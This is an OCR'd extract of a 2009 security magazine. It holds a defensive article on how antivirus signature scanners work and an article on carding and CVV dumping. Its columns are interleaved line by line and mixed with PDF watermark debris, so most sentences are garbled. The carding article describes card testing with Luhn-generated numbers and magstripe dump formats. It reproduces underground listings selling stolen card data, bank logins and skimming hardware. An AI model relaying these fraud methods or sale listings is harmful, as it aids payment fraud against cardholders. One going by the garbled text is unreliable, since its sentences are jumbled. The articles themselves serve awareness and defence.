technology it is necessary to have an technologically superior scanner would not
understanding of the malware threat landscape. perform as well as a lesser scanner that was
As such, it is necessary to define certain terms supported by a better research group.
(see Figure 1). This illustrates the primary distinguishing
These are the basic classifications for characteristic of signature-based antivirus
malicious code, although it is possible for these scanning: it is mostly a reactive process. While
characteristics to be combined in some cases. it is possible to have generic and heuristic
Each type can require different detection and detections, antivirus scanning technology is
cleaning methods. In addition, malware authors mostly targeted towards detection and removal
have adopted several stealth and hardening of known threats. The benefits of this approach
techniques that make detection and cleaning still are increased cleaning capability, speed, and a
more difficult. These techniques generally involve lower number of false positive detections.
hooking various operating system services The figure 2 illustrates a typical release cycle
WHAT YOU SHOULD to hide the presence of malware, or hostile for signature sets.
KNOW... activity, as well as the use of proactive means The nature of malware, malware authors, and
Basic knowledge of executable (e.g., having processes that terminate security antivirus researchers has changed considerably
files and malware issues. software and restart their own processes, if during the years.
needed). While there were initially some legitimate
WHAT YOU WILL
LEARN... Antivirus scanners require a considerable questions with regard to the nature of self-
amount of support to keep them functioning replicating code, it quickly became apparent
AV scanner evolution and
common approaches. properly. While purely behavior-based products that such code was highly dangerous. As such,

58 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
AV SCANNER
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

most malware authors were people improvement. Later methods still Heuristic Detections
engaged in nefarious activity. Notoriety involved a string of bytes, but applied Heuristic detection in antivirus
was likely the primary motivating factor. that idea in a more intelligent fashion. scanners can be a confusing issue.
However, in recent years this has For example, the file structure was also Many vendors have had heuristic
become less and less the case. Most taken into account. Viruses typically detection capability for the last ten
malware is now the result of highly infected unused space inside an years. However, this sort of detection
organized groups seeking financial executable or made alterations to get was more limited than what has been
gain. Interestingly, this change has their code to run. These factors better recently described as behavior based
resulted in demise of the outbreak. targeted the areas of a file that needed scanning. Do to the nature of modern
Malware authors now have a strong to be scanned to get an accurate threats, more focus has been placed
motivation to create quiet malware and detection. on behavioral scanners; however, these
avoid seeking attention. This made the scanners are distinct from signature-
detection and cleaning process far Intelligent Hash/CRC Scanning based heuristic detection.
more difficult. Stealth and hardening This technique involves the use of Heuristic detection in antivirus
methods, once comparatively rare, are hashes and CRC's to avoid lengthy scanners is usually narrowly targeted
now quite common. string and wild card matches. This is at the identification of certain
distinct from creating a hash or CRC characteristics that can be observed
Evolution of the whole file. Instead, the unique about the code during a scan. Certain
of Scanning Technology byte sequence, from the original string groups of actions are inherently
In recent years, antivirus technology style scans mentioned above, is used suspicious; for example: a program
has been gaining more attention to create a hash or CRC. This is still using its code section as the source for
outside of the research and vendor capable of uniquely identifying malware, a write operation to another existing file.
communities. Services such as VirusTotal but reduces scan time and allows for Such characteristics can be noted and
and contests like Race To Zero, have better optimization of the signature set. evaluated to determine if they exceed
brought the issues involved to a larger As part of a pre-scanning phase the a predetermined detection threshold.
audience. However, there have been file being scanned can be subjected This technology has also been used to
some misconceptions: specifically, the to processing that will reduce the raw detect certain types of trojan horses:
idea that signature-based scanning scan time and prune the signature usually key loggers, auto-dialers, etc.
is solely done by scanning for strings set according to which detections are However, determining the exact nature
of bytes in a file. While that technique possible. of non-replicating code is a much more
was generally employed for the first difficult problem. The aforementioned
generation of scanners, things have Generic Detections behavioral scanners attempt to
evolved considerably over the last 20 An important aspect of modern address this problem.
years. Figure 3 is a rough chronological antivirus scanners is the ability to
list of major scanning technology perform generic detections. Prolific
developments. Different vendors may malware often has many different
have employed these techniques at variants.
different times. Malware authors may use an ����������������������������������������������
�������������������
existing sample as a starting point in
String Scanning order to add new features, save time, ����������������������������

This was the first scanning technique or simply to make a change that will ������������������������������������������������
utilized. This was necessary for several invalidate an existing signature. However, ������

reasons: speed, signature set size, and often the resulting malware can still be ��������������������������������������
the fact that many early viruses were file identified as a member of a specific ��������������������������������

infectors; as such it was impractical to family. ����������������������������������������


�������������������������������������������
attempt to perform complete file scans. As such, generic detections can be
Since certain strings of bytes were achieved. It is more desirable, in terms ���������������������������������������������
����������������������������������������
present in every infected file it was a of cleaning and information, to get as an ���������
logical step to scan only for the smallest exact detection as possible. However,
���������������������������������������������
possible piece of a file that could generic detections are important for �����������������������������������
generate a proper detection. providing a degree of protection against
new malware. Even if the sample is newly
Intelligent String Scanning created, generic signatures can provide
While string scanning was a natural detection and in some cases cleaning
starting point, it left a lot of room for capability. Figure 1. Malware Types

5/2009 HAKIN9 59
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
DEFENSE O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Emulation & Unpacking To fix this problem modern antivirus specific functions; for example,
To be effective, modern antivirus scanners often employ emulators or enumerating or removing registr y values
scanners need to employ specialized unpacking routines to be on Win32 systems.
countermeasures for various stealth able to apply the signatures to the de-
and hardening techniques. The most obfuscated binary. Antivirus vendors Signature Compiler
common of these is packing. Packers will often expend a significant amount In addition to the development of the
are not intrinsically hostile. They of development resources to create signature language itself, it is desirable
were originally developed to save a virtualized CPU, or perhaps larger to have a compiler that will produce the
space during the time when hard environment, so that the scanner can final signature set in a form suitable for
disk space was significantly more execute an obfuscated binary until it’s distribution. This is to ensure signature
expensive. Effectively, they consist of a image is in a scannable state. set integrity and performance. In the
compression program embedded into case of integrity it is important that
the original binar y. The unpacking stub Details of Signature the signature be in an unmodified and
became the primar y body of code with Infrastructure functional state. Digital signing or other
the actual code compressed. When There are various ways to specify methods can be used to this end. In
the program was launched the stub signatures depending on the any case, some form of encryption,
uncompressed the original program implementation of the scanner. compilation (to a binary form), or other
into memor y and then surrendered integrity check is needed. Performance
execution control. Unfortunately, Signature Language is also a consideration for the compiler.
this technology has an unpleasant Some scanners may employ a While producing the smallest form
application: it can be used to be defeat proprietary definition language that is of the signature is a desirable end in
signature-based detection. Since the readable by a scanning engine, and itself, the compiler should also ensure
body of the code is now different, a some may allow the use of a subset that the signature set is in a form that
standard signature can be rendered of a commonly known language such will be able to produce the best scan
useless by simply packing, or re- as C, others may even allow the use of times. During the course of a scan there
packing, a binar y. assembly code to be written directly. are many opportunities for pruning the
Each of these approaches has pros and remaining set of detection candidates.
cons, but all should be able to provide The development of the compiler should
the necessary functionality to reliably take into account the design of the
detect malware. signature language, as well as of the
�������������� If a specialized language is scanning engine.
developed the features should
include, at least, various wild-card Signature Set Updates
capable pattern matching, branching Signatures set updates are an
instructions, arithmetic, and conditional important and difficult issue for antivirus
����������������
statements. It would also be desirable vendors. One of the first problematic
to include a macro facility for common milestones was when signature set
operations, as well as a foreign function sizes grew beyond a single 1.44MB
inter face for the cases where it is floppy disk. Now it is not uncommon for
���������������� necessar y to call operating system signature sets to be measured in the
dozens of megabytes. As the rate of
introduction for new malware continues
to increase this issue will only be
��������������� exacerbated. Given the situation, the
������������������
need to release larger and more closely
�������������������������������
spaced signature sets highlights issues
��������������������������������� with research practices, infrastructural
�������������������� limitations, bandwidth, and the need
���������������������
for automation. Different vendors have
����������������������
different approaches that may include:
����������������������� increased engine and signature set
optimization, incremental updates, or
changing certain aspects of signature
Figure 2. Steps of Signature Set sets to be a network service (i.e., in the
Creation Figure 3. AV Scanner Milestones cloud).

60 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
DEFENSE O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Details of the File-Typing it is not using a packer that identifies


Signature Creation Process Robust file typing capability is essential itself within the file, there are other
Creating signatures is the primary for a high quality antivirus scanner; both characteristics that can be checked.
function of an antivirus vendor’s research in terms of performance, specifically in Even if it cannot be determined that
organization. Obviously, a scanner is only the aforementioned pruning, but also in a file is packed or obfuscated from
as good as its signature set; as such, it is being able to detect different kinds of static scanning it may be worthwhile
vitally important that the signature creation malware. Different types of executables, to attempt to do so dynamically with
process be robust and run smoothly. The even across different versions of the the emulator. If it has been determined
process begins with obtaining samples. Portable Executable format, have slightly that an executable has been packed or
Samples may be submitted by customers different entries or fields that could pose obfuscated and the emulator has been
or the general public, traded between detection and cleaning problems if not able to successfully render it in scan-able
researchers, acquired via honey pots, taken into account during scanning. Macro form the remaining scan phases can
etc. Often, research organizations will viruses in various document files pose continue as normal.
accept as many submissions as possible; another challenge. It is very important
therefore, it is necessary to separate to get accurate typing information Navigation of File Structure
potential samples from harmless across versions and document types File structure navigation during the scan
submissions. After a potential sample is to guarantee accurate detection and is, unsurprisingly, closely related to file
identified it is analyzed. Analysis can be cleaning. typing. The research organization has to
performed automatically, manually, or a work with the engine team and signature
combination of both. Once a submission Emulation (if needed) language team to ensure that as malware
has been determined to be an actual While it is true that some vendors have and file types evolve it is still possible for
sample of new malware, a signature can employed emulators for quite some time the existing scanning infrastructure can
be created. This process involves finding the technology has gained considerable navigate and extract data in a fast and
unique characteristics of the sample interest in recent years. This is due to the reliable manner.
and describing them in the signature vastly increased use of packers and other This situation becomes even
language. The new signature can then obfuscation methods. The recent trend more complex as new exploits are
be compiled into a form that is usable towards server side polymorphism, i.e., developed for what were previously
by the scanner. For complex cases it is having a downloader trojan horse pull a thought to be safe formats, increased
necessary for a researcher to identify the one-time-use custom hostile executable use of obfuscation technology, and
unique characteristics and describe them to the infected host, has highlighted as technologies with the capability for
manually; however, in some cases this the importance advanced and reliable embedded source code become more
process can be performed automatically. emulators. popular. Macros embedded in various
After the signature has been created, it is The emulation phase is also documents pose a specific problem in
tested. Testing typically involves verification somewhat intertwined with the file-typing this regard. Since macros can involve
that it detects the new sample, as well phase. If a file cannot be identified, and the embedding of a completely separate
as verifying that it does not result in any
false positives. Lastly, the new signature is
added to the signature set.
��������
Details of the Scanning �����������

Process
Before describing the details of the actual
scanning process it is worth noting the
two common ways that a scan is initiated:
��������
on access and on demand. ������������� ������
�����������
�����������

Scan Types
Scanners supporting on access scanning
������������������
hook various system functions in order ������������������
������������������
to perform a scan before an executable, ������������������
or macro-containing document, can ������������������
������������������
be launched. If malware is detected the
launch process is interrupted. On demand
scanning is simply a scan directly initiated
by the user. Figure 4. Major AV Engine Components

62 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
AV SCANNER
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

runtime language, proprietary embedded employed usually depends on the type Greater Integration with Behavioral
data directories, or other features it can of malware that is being cleaned. Simple Scanners
be time consuming to develop proper file trojan horses and worms can merely be Behavioral scanners are enjoying more
navigation for new macro platforms or deleted. Macro and file infecting viruses attention lately especially in light of the
versions. have to be removed from the infected dramatic increase in bots (trojan horses
files while attempting to preserve the that give a unauthorized parties control
Detection integrity of the file itself. In the worst of a machine). This is primarily due to the
Writing effective signatures is both cases, those involving advanced hooking rapidly deployed number of variants and
an art and a science. For instance, and stealth (i.e., rootkit) techniques, it may the fact that determining the nature of an
generic detections are an important not be possible to clean and maintain arbitrary executing program is difficult.
line of defense but they must be crafted system stability. In those cases it may be As such, many vendors and researchers
carefully; if they are too generic, detection possibly to boot from specially prepared are advocating a layered approach to
efficacy drops as the likelihood of false- rescue media (not writable). security. This tends to involve firewalls,
positives increases. On the other hand, web surfing protection, behavioral
if they are too specific, they lose their Future Directions analysis, and signature-based scanning.
ability to detect new variants of the same There are a number of areas being Developing proper policies and methods
family. There is a similar problem for investigated for improving signature-based of integration, both on the desktop and at
exact detections: there may aspects of antivirus scanning. Some of these include: research organizations, will improve the
an infection that change every time the performance and efficacy of the layered
malware is activated, however this may Statistical Methods approach.
be the normal behavior of a particular In recent years there has been much
variant. In this case the signature writer investigation into using statistical Improved Emulation
has to be sure to take this into account to methods, often involving entropy analysis, As with much of the malware situation,
avoid false-negatives. for generic packing detection and obfuscation and anti-obfuscation can
Because of the above issues most malware classification. In the case of be described as an arms race. Vendors
vendors will maintain a rigorous validation packing the benefits are the ability to deploy newer more robust emulation
process for signature sets. These process quickly and reliably determine if a file is to better analyze binaries and better
often involve false rigs, large collections packed, even with a previously unknown methods at obfuscating and hardening
of common known-good files to be packer, and without emulation. Depending are developed in response. Therefore,
scanned to avoid false positives; internal on detection policies this may be enough improvements in the speed, capability, and
malware collections to check for missing, to make a very fast determination; it efficacy of emulation are always popular
lost, or inaccurate detections; and other should be noted, however, that using topics of inquiry.
automated methods. only packing as detection criteria is a
controversial idea. Conclusion
Cleaning For malware classification it has been The last twenty years have seen drastic
Once malware has been detected there shown that variants belonging to the same changes in the malware threat landscape,
are various cleaning strategies. These family often have a similar measure of as well as changes in how antivirus
strategies range from simply deleting complexity in their call-graphs. This finding vendors and their research organizations
a file to, in the very worst cases, not can assist research organizations to address the problem. There is little
being able to safely clean. The method develop better automated systems. doubt that this trend will continue for the
foreseeable future. Efforts to create better
programming practices, educate users,
Glossary and harden operating systems have
• CRC – Cyclic Redundancy Check. A hash (see below) originally developed for error detection. all helped, but at the time of this writing,
• Emulator – An execution mechanism that stands in for another. In this case, it generally signature-based antivirus scanners are
refers to a simulated CPU and memory. still an important line of defense against
• Hash – A mathematical function that takes a data stream of arbitrary length and produces
malware.
a single fixed length value. The size and uniqueness of the resulting value will depend on
the hash function.
• Heuristic – A problem solving technique that employs educated guesses to work toward
the best solution. In this case, it refers to identifying potentially suspicious elements and
making a determination as to when there are enough present to indicate the presence of Ryan Hicks
hostile code. Ryan Hicks is the Director of the AVG’s Malware TRAP
Centre (M-TRAP). M-TRAP focuses on threat prevalence,
• Honey pot – A system that poses as a vulnerable system for the purpose of logging exploit
automated malware sample processing, and reporting.
attempts or collecting malware. His personal areas of expertise are reverse-engineering,
analysis of malware stealth mechanisms, kernel-mode
threats, and expert systems.

5/2009 HAKIN9 63
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
ID fraud expert says...
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

The Underworld of
CVV Dumping
Carding and the Effects on
Individuals and Business
and Ways to Prevent it
JULIAN EVANS

What is a CVV Number? all card types right across the world. An CVV numbers do appear to wear
CVV stands for CARD VERIFICATION example is VISA will refer to the code off very quickly indeed and are often
VALUE CODE (CVV). CVV is an as CVV2, MasterCard calls it CVC, and unreadable after a short period of time.
authentication procedure which was American Express calls it CID). So you can see the problem customers
established by credit card companies A closer look at the back signature experience when purchasing goods over
to further efforts towards reducing fraud panel of most VISA/MasterCards you will the Internet or the telephone.
over the Internet. The procedure is in fact notice that the full 16-digit account number The CVV anti-fraud system is not a
very simple indeed. It requires the card followed by the CVV/CVC code. Most banks totally full-proof system – no security
holder to enter the CVV number whenever in the UK and US for example only show system ever is, and the biggest losers
a transaction is made online or over the the last four digits of the account number are the merchants and the banks/
telephone to verify that the individual has followed by the code, (see Figure 1). credit card companies. Consumers
the original card in their possession. The There are some important rules to are automatically protected by relevant
CVV code is in fact a very useful anti- remember for merchants who collect statutory laws in most countries. A
fraud security feature for card not present credit and debit card payments. CVV positive CVV match might not assure
(CNP) transactions. If you take a closer currently can be used in call centers the consumer is the legitimate holder.
look at your card (both debit and credit) where the card is directly keyed into the Most criminals know just how easy it is to
or have recently made a telephone or a computer system which then instantly skim a card and write the CVV number
Internet purchase recently, you cannot authorizes the transaction. CVV can also down. Even if the card has been proved
have failed to notice the three-or-four-digit be used on websites that use automatic to have been used fraudulently, having
code on the back signature strip. authorization, but outside of these the CVV code doesn't guarantee a
The three-or-four-digit code (see instances (we can call them rules if you merchant chargeback. In fact all the CVV
Figure 1) provides a cryptographic check like) they really can't or shouldn't be used code provides is just another anti-fraud
of the data embossed on the card. It's or stored in any way. If a merchant stores measure.
worth noting here that the CVV code a CVV number in the US, the fines can One of the biggest headaches for
is not part of the card number itself. be very high not to mention the loss in identity thieves (which for people like
The CVV code itself helps to ascertain business and potentially being unable me makes pleasant writing!) is when
that the customer placing the order to process credit cards again! Which they are skimming cards (to steal the
actually has the credit/debit card in their really means the business goes bust! data from the magnetic stripe that you
possession and that the card account is The simple rule of thumb for merchants see on the back of all credit and debit
legitimate. Most credit card companies is that a CVV code must never be written cards) they are now needing the CVV
have their own names for the CVV code, down, sent in an email or even stored on a code, especially if they are purchasing
but the functions remain the same for database! It's that simple! goods online over the telephone or in

64 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
CVV DUMPING
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

foreign countries. It is known that the CVV detection systems as well as the banks afraudsters is to use your card in this way
code does indeed prevent fraudulent and credit card companies. on gambling websites... so always keep
transactions from skimmed cards (a As is the case most businesses, a watchful eye as you don't want to find
growing threat where chip and pin is no matter where they are in the world yourself out of pocket!
being used i.e. UK and France – the USA (and especially as the Internet is starting Consumer cost is minimal especially
does not use chip and pin as is the case to fuel CNP and Card testing) nearly if you have used a credit card. Most
in much of Europe and Eastern Europe/ every business will be charged for credit cards are protected in the US and
Asia). every transaction, whether declined or UK to a certain amount (see CCA and
approved. The number of card testers FCBA below). So if you spend over $50
Carding ranges in the tens of thousands of tests (US) or 50GBP (UK) you are automatically
– The Merchant Threat per day, which is a very high number protected. At ID Theft Protect we like to
Carding is often referred to as Card indeed. The approximate cost for each refer to these as Credit Protection Levels
testing. This type of fraud has been transaction is roughly $.25 so you or CPLs, which incidentally have lowered
around for some time now, but not can see the financial implications for in recent years. The thinking amongst
everyone is aware of it or understands businesses. That said, leading financial security professionals is that the CPL
what or how it works. It is on its own one institutions such as Visa and MasterCard will start to increase as the costs and
of the most costly types of business monitor as best they can the various economic climate bites hard in the
fraud even though in most cases the payment gateways where there are financial sector and more importantly
goods or services ordered may never large volumes of card declines. For most as CNP fraud continues to grow. Expect
have been shipped. Card testing usually businesses, identifying the card tester credit card companies to scrutinize every
can be identified by observing large and blocking the transaction using both fraudulent credit card claim and expect
numbers of declined transactions FLD and behavioral fraud detection refund delays and in some instances you
which normally appear as a consistent software go some way to reducing the might be refused the refund altogether!
pattern. Someone (they are not always financial risk. Best to be warned!
fraudsters) attempt a number of A similar scenario exists for Also you should be aware that even
transactions in the hope that eventually consumers but the impacts are more under the UK Credit Consumer Act
they will get an approved transaction of an inconvenience than any actual (CCA) they are not obliged to refund you
– this could mean the someone is financial issues. You happen to notice any loss if they suspect you have been
card testing, but not necessarily. Card a credit card statement has unusual negligent. This also applies in the US
testing is usually done in small amounts small amounts debited or your credit under the Fair Credit Billing Act (FCBA).
(and in a specific pattern as previously card company has called you as they Many people who contact ID Theft
mentioned) as the tester only wants to have noticed unusual patterns on your Protect, ask us about why debit cards
find valid numbers that can be used for card ie. your card was used at say 3 in are not protected the same way as credit
purchasing. the morning and the amounts started cards. The simple truth is they are, but it
The card testing procedure goes small and then started to increase over is left to the banks discretion to decide
through two different processes. The a given time period. A favorite trick for whether to refund you any debit card,
two processes involve finding the real
card number and the expiration date
to match the 16 digit card number that
was stolen. Fraudsters have identified
a particular method in which they can
fool both first line defense and neural
behavioral fraud detection software. By
using a particular type of algorithm called
Luhn a fraudster can produce a number
of valid credit or debit card numbers.
Eventually the fraudster will come across
a valid card number which they then
follow up with a number of expiration date
submissions until the card is approved.
As with computer Trojans and viruses a
complex computer script is developed to
produce automated queries into merchant
payment systems. You can now see just
how fraudsters fool complex anti-fraud Figure 1. An example of where you can find the CVV number

5/2009 HAKIN9 65
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
ID fraud expert says...
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

direct debit, check or bank fraud. The are much older than the Carder Kids ends with cyber criminals involved in
other issue often overlooked with banking but they have the skills needed to turn buying goods from online shops and
fraud (this includes debit card fraud) virtual money into real cash. What might delivering goods to the drops which then
is that fraudulent claims are handled surprise you is that the mules actually forward on the goods back to the cyber
much more slowly in the banking sector transfer their financial rewards into legal criminals who then in turn sell the goods
than with credit card companies. So, bank accounts! The marketplace for to the auction site.
you could be without any access to your carding is growing and will continue to
major banking accounts and have the grow. Some of the mules will use e-gold What Data is Stored on Your
stress of recovering those stolen funds, for anonymity and by using wired cash Credit Card and How?
which can last for several weeks if not can also provide the mule with security Ever wondered what data is stored on your
longer. – more often than not the wired cash is credit and debit cards? The data on your
Therefore if you happen to be a victim irreversible. credit card is held in what is called a Mag
of for example debit card fraud, make The carding costs vary dependent Stripe Format. The magstripe is made up
sure you don't use your BILLS account on the market place (by this we refer to of tiny iron-based magnetic particles in a
to pay for anything online or when out the IRC forums and auction websites, plastic-like film. Each particle is really a very
shopping at the local mall – keep that but more often than of late, IRC forums). tiny bar magnet about 20 millionths of an
BILLS account separate. Why? Simple Expect to purchase full credit card inch long. The magstripe can be written
reason your mortgage, utility and information for anything between $2 to because the tiny bar magnets can be
insurance bills should go out of one $5 payable using e-gold. Furthermore, magnetized in either a north or south pole
account (i.e. BILLS) and you must avoid what will also surprise you is that most direction. The magstripe on the back of the
using this account for anything other than of the credit cards are bought by packs, card is very similar to a piece of cassette
your primary bills! something akin to drug smuggling you tape fastened to the back of a card.
might ask! Instead of motors moving the tape
Carders The carding process is very simple. so it can be read, your hand provides the
Most Cardersare kids – aged between Some security professionals call the motion as you swipe a credit card through
13 and 20 and normally hang around carding process a substantial business a reader or insert it in a reader at the gas
Internet Relay Chat (IRC) carding model. It doesn't matter whether the station pump.
channels with the purpose of buying economic climate is good or bad, There are three tracks on the
and re-selling the bricks necessarily for there is always a market for fraud and magstripe. Each track is .110-inch wide.
the scams. These Carders earn small especially for carding, if you have the The ISO/IEC standard 7811, which is used
amounts of monthly income with many business model and most importantly by ALL banks, specifies:
profiting from rip offs. Outside of IRC have built the trust on the auction site.
rooms we have the money mules. These The auction site is where it starts and • Track one is 210 bits per inch (bpi),
and holds 79 six-bit plus parity bit
read-only characters.
Listing 1. Snapshot 1
• Track two is 75 bpi, and holds 40 four-
------------------------------------------------------------------------------------- bit plus parity bit characters.
SELL CVV, DUMPS, BANK LOGINS,PAYPAL LOGINS, BANK&WU TRANSFER
• Track three is 210 bpi, and holds 107
Payment systems acc four-bit plus parity bit characters.
1 Paypal vefified without balance==50$ • Your credit card typically uses only
2 Paypal verified with 1000$ balance ==100$ tracks one and two. Track three is
3 Moneybookers with cc,mail ==10% of balance
4 Netteler with full info ==10% of balance
a read/write track (that includes an
5 Ebay and Paypal verified ==$150 encrypted PIN, country code, currency
I have other payment sysems accounts give for 10% of balance... units, amount authorized), but its
usage is not standardized among
BALANCE IN CHASE .......2K TO 55K- price 2-10% of balance
BALANCE IN WASHOVIA.....2K TO 80K- price 2-10% of balance banks.
BALANCE IN BOA .........2K TO 60K- price 2-10% of balance
BALANCE IN Citi....ANY AMOUNT- price 5-10% of balance The information on track one is contained
BALANCE IN HALIFAX..........ANY AMOUNT-price 2-10% of balance
BALANCE IN COMPASS..........ANY AMOUNT-price 2-10% of balance
in two formats – A, which is reserved for
BALANCE IN WELSFARGO........ANY AMOUNT-price 2-10% of balance proprietary use of the card issuer, and B,
YOU CAN CONTACT FOR MANY MORE OTHER BANK LOG YOU NEED... which includes the following:
[Domain and user name have been removed]
-------------------------------------------------------------------------------------
• Start sentinel – 1 character.
• Format code="B" – 1 character (alpha
only).

66 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
CVV DUMPING
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

• Primary account number – up to 19 When the acquirer company gets higher speeds via this protocol. In
characters. the credit card authentication request, it this system, the cardholder enters a
• Separator – 1 character. checks the transaction for validity and the personal identification number (PIN),
• Country code – 3 characters. record on the magstripe for: using a keypad.
• Name – 2-26 characters.
• Separator – 1 character. • Merchant ID If the Automated Teller Machine (ATM)
• Expiration date or separator – 4 • Valid card number isn't accepting your card, the problem is
characters or 1 character. • Expiration date probably either:
• Discretionary data – enough • Credit card limit
characters to fill out maximum record • Card usage • Some dirt or condensation or a
length (79 characters total). • Single dial-up transactions are scratched magstripe
• End sentinel – 1 character. processed at 1200-2400 bps, while • Erased magstripe (The most
• Longitudinal Redundancy Check (LRC), direct Internet attachment uses much common causes for erased
a form of computed check character
– 1 character. Listing 2. Snapshot 2

We sell credit card infor and other..... ! come on....!Welcome u to our service,
The format for track two, developed by the we are seller infor of UK, EU and US person ! Now, We have
banking industry, is as follows: Mail list, mailer, Credit card wit cvv, DOB and chose BIN,
chose Zipcode ! Voice yahoo, yapon.net and skype account are
available to ORDER ! Get paid telephone bills, airfare ... the
• Start sentinel – 1 character. payment of goods in e-commerce and via credit card,
• Primary account number – up to 19 Card readers
characters.
NEW-----TA32-Portable Magnetic Stripe Card Reader<500$>
• Separator – 1 character. PR232---PR232 Magnetic Stripe Credit Card Reader Micro Portable mag-stripe Reader
• Country code – 3 characters. with rechargeable battery<700$>
• Expiration date or separator – 4 BT32---Bluetooth Wireless Portable Magnetic Stripe Reader the most efective card
reader<900$>
characters or 1 character.
• Discretionary data – enough -------------------------------------------------------------------------------------
characters to fill out maximum record
length (40 characters total). Card Writers

• LRC – 1 character.
MSR206-USB---Magnetic Stripe Card Reader / Writer<800$>
MSR206-33--Magnetic Stripe Card Reader / Writer<700$>
There are three basic methods for
-------------------------------------------------------------------------------------
determining that your credit card will pay
for what you're charging: UK Nomall NO BINS(Serial) with DOB is 10$
UK with BINS(Serial) with DOB is 15$
• Merchants with few transactions each UK Nomall no BINS(Serial) no DOB is 6$
UK with BINS(Serial) is 12$
month do voice authentication, using a
-------------------------------------------------------------------------------------
touch tone phone.
• Electronic data capture (EDC) PRICES FOR Cvv:
magstripe card swipe terminals are
US<2$/1 visa,master(4$/1) amex,disco
becoming more common – so is UK<5$/1 visa,master(6$/1) amex,disco (10$/1) Swich
having you swipe your own card at the CA<7$/1 visa,master(8$/1) amex,disco
checkout. EU<8$/1 visa,master(10$/1) amex,disco
AU<7$/1 visa,master(9$/1) amex,disco
• Virtual terminal on the Internet.
-------------------------------------------------------------------------------------
How Does This Work?
It's actually very simple. After you or the US<50$/1 with full info
UK<70$/1 with full info
cashier swipes your credit card through a
reader, the EDC software at the point of sale -------------------------------------------------------------------------------------
(POS) terminal dials a stored telephone
number via a modem to call an acquirer. An Paypal verified&email Pass<70$/1>
Paypal unverified&email Pass<30$/1>
acquirer (clearing house) is an organization [Domain and user name have been removed]
that collects credit authentication requests -------------------------------------------------------------------------------------
from merchants and provides a payment
guarantee to the merchant.

5/2009 HAKIN9 67
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
ID fraud expert says...
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

magstripes are exposure to magnets, Have you ever wondered how your Simple Trick
like the small ones used to hold notes credit card information is bought, sold A worthy trick (for consumers) to
and pictures on the refrigerator, and a or transferred? Have you ever wondered remember for your credit and debit cards,
store's electronic article surveillance how someone uses your credit card especially if your card is taken out of your
(EAS) tag. information after it is stolen to commit sight or if your card has been skimmed
fraud? There are a number of ways, but (cloned) – cover the CVV code with a
Now you have understood how and the preferred method is through using small piece of masking tape. If the card
what data is stored on a credit and debit dumps. A dump is a file containing the is tampered with then you will know about
card, now it's time to tell you more about data that is stored on a credit card’s it and can take the appropriate steps
growing online fraud called Credit Card magnetic strip (see previous section). to cancel the card. This is a very useful
Dumping. Dumps are one of the fastest growing anti-fraud method, especially when you
frauds in the world today. are away on holiday (which is when a
Credit Card Dumps Did you know that dumps also allow fraud might occur). Just hide all the CVV
The credit card dump is where a the carder to dump card data onto numbers on all your cards!
fraudster has stolen your credit or absolutely anything that has a magnetic
debit card information to commit card. Start thinking about what cards use Carding Costs
financial fraud in your good name. magnetic stripes – these include hotel The actual costs involved in buying good
The card information for example room keys, discount cards, gift cards, card data varies and is dependent upon
can be skimmed almost anywhere and other credit cards – think of the fraud how many you buy. For example, buying
and at any time – some of the more possibilities. Laundering credit cards the valid card numbers (you need to
popular skimming locations are shops, becomes very easy indeed. A fraudster understand how to prove they are valid,
restaurants, railway stations, gasoline who has the card information can simply which is by no means an easy task!)
stations and ATM machines. Best of all, use their own credit card and dump some would probably be sold on a a website
you might have no idea that your card stolen data onto it to purchase anything in like eBay for say anything between $250
has been skimmed / cloned until you person. You might also say that it will prove to $450 per package. That said, many
receive a phone call from your bank more difficult to purchase in person? Well websites are now validating the content
informing you of just that. So when it isn't – how many shops, restaurants that is posted, so being able to sell
the fraudster has stolen your card etc do you know who compare the credit CVV dumps on reputable websites is
information what can they do with it? number printed on the receipt with the becoming more difficult. Hence, forums
The most popular way to use your card itself? Yes I thought so! None! The and chat rooms (IRC) are where most of
stolen card information is to sell the credit number is never printed in full (or not the buying and selling is completed.
